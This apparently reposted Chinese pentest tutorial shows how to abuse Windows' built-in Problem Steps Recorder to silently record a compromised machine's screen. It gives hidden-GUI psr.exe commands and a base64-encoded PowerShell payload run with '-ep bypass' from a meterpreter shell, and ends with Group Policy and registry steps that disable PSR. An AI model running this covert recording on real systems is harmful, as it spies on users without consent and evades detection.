渗透测试常用工具汇总_exe软件渗透测试
如何巧妙利用PSR监控Windows桌面
0x00前言在渗透测试的过程中,如果需要获取主机的信息,相比于键盘记录,记录系统屏幕的操作往往更加直接有效。也许每个人都有自己独特的实现方式,但是如果能够利用Windows系统自带的程序实现,个人认为绝对是最优先考虑的方案。下面就介绍一下如何利用Windows系统自带的功能实现监控屏幕操作。0x01简介PSR(ProblemStepsRecorder),直译为问题步骤记录器,在Windows早期的系统中,采用WER(WindowsErrorReporting)来收集系统的错误报告,但这些报告往往包含的信息太少以致于无法解决实际问题。为此,微软从Windows7系统开始,增加了PSR来解决这个问题,PSR能够记录用户在遇到崩溃时执行的所有操作,以便测试人员和开发人员能够重现环境对其分析和调试。当PSR运行时,将会自动记录屏幕的操作,每次操作都会自动保存成一张图片,最终生成一份zip格式的报告。注:百度百科对psr的名称描述有误,准确的应为ProblemStepsRecorder(该问题已提交)如图链接为:使用方法1、启动psr.exe,点击开始录制可使用快捷键win+R直接输入psr来启动下图为psr的操作面板,点击开始记录即可记录当前的屏幕操作点击后会提示权限的问题,如果需要记录管理员权限的程序,那么需要以管理员权限来运行psr,如图2、进行任意操作当运行psr开始录制后,鼠标点击时会增加特效如图3、停止记录,保存报告如图4、查看报告报告会对每次操作截图,并记录鼠标的操作比如鼠标的单击操作,从截图注释可以看到当前的鼠标做了哪些操作而且,在报告后半部分会详细记录相关细节,里面的内容也很是有趣:0x03进阶方法psr在记录屏幕的操作中会启动UI界面,并且对鼠标点击操作增加特效,这显然无法满足渗透测试的要求。但好在psr提供了命令行参数用作后台记录命令行参数如下:#!bashpsr.exe[/start|/stop][/output][/sc(0|1)][/maxsc][/sketch(0|1)][/slides(0|1)][/gui(0|1)][/arcetl(0|1)][/arcxml(0|1)][/arcmht(0|1)][/stopevent][/maxlogsize][/recordpid]/startStartRecording.(OutputpathflagSHOULDbespecified)/stopStopRecording./scCapturescreenshotsforrecordedsteps./maxscMaximumnumberofrecentscreencaptures./maxlogsizeMaximumlogfilesize(inMB)beforewrappingoccurs./guiDisplaycontrolGUI./arcetlIncluderawETWfileinarchiveoutput./arcxmlIncludeMHTfileinarchiveoutput./recordpidRecordallactionsassociatedwithgivenPID./sketchSketchUIifnoscreenshotwassaved./slidesCreateslideshowHTMLpages./outputStoreoutputofrecordsessioningivenpath./stopeventEventtosignalafteroutputfilesaregenerated.结合实际,可使用以下命令:psr.exe/start/gui0/outputC:\test\capture.zip后台启动psr并开始录制,文件保存为C:\test\capture.zippsr.exe/stop结束录制并退出psr,自动保存报告文件0x04实际测试测试环境:Server:OS:KalilinuxIP:192.168.174.133Client:OS:Win7x86IP:192.168.174.128Kali已获得meterpreter权限如图测试功能:自动启动录制录制指定时间后自动退出自动保存报告文件可使用Powershell对上述功能做简单实现:1、启动自动录制,设置为无界面模式,并指定输出路径:#!bashpsr.exe/start/gui0/outputC:\test\capture.zip;2、等待10s,即录制时间为10s:#!bashStart-Sleep-s10;3、结束录制,自动退出:#!bashpsr.exe/stop;可将以上代码保存为C:\test\1.txt,然后对其作base64加密在Powershell环境下执行如下代码来对功能代码进行base64加密:#!powershell$string=Get-Content"C:\test\1.txt"$bytes=[System.Text.Encoding]::Unicode.GetBytes($string)$encoded=[System.Convert]::ToBase64String($bytes)$encoded如图,从输出得到加密的Powershell命令为:#!bashcABzAHIALgBlAHgAZQAgAC8AcwB0AGEAcgB0ACAALwBnAHUAaQAgADAAIAAvAG8AdQB0AHAAdQB0ACAAQwA6AFwAdABlAHMAdABcAGMAYQBwAHQAdQByAGUALgB6AGkAcAA7ACAAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBzACAAMQAwADsAIABwAHMAcgAuAGUAeABlACAALwBzAHQAbwBwADsA然后就可以在meterpreter的shell下直接执行Powershell命令:#!bashpowershell-epbypass-enccABzAHIALgBlAHgAZQAgAC8AcwB0AGEAcgB0ACAALwBnAHUAaQAgADAAIAAvAG8AdQB0AHAAdQB0ACAAQwA6AFwAdABlAHMAdABcAGMAYQBwAHQAdQByAGUALgB6AGkAcAA7ACAAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBzACAAMQAwADsAIABwAHMAcgAuAGUAeABlACAALwBzAHQAbwBwADsA代码执行后,等待10s产成报告文件capture.zip,测试成功0x05防御可采用以下两种方法关闭psr:1、使用组策略中文系统:gpedit.msc-管理模板-Windows组件-应用程序兼容性启用关闭问题步骤记录器如图英文系统:gpedit.msc-ComputerConfiguration-AdministrativeTemplates-WindowsComponents-ApplicationCompatibility启用TurnoffProblemStepsRecorder如图2、修改注册表#!bash[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\AppCompat]新建"DisableUAR"=dword:00000001如图注:dword=1对应组策略中的已启用dword=0对应组策略中的已禁用删除"DisableUAR"对应组策略中的未配置0x06小结利用PSR监控Windows桌面,不仅仅能够捕获用户桌面的操作,而且在报告中会包含有用的细节信息,相信你在渗透测试的过程中,一定会用上它。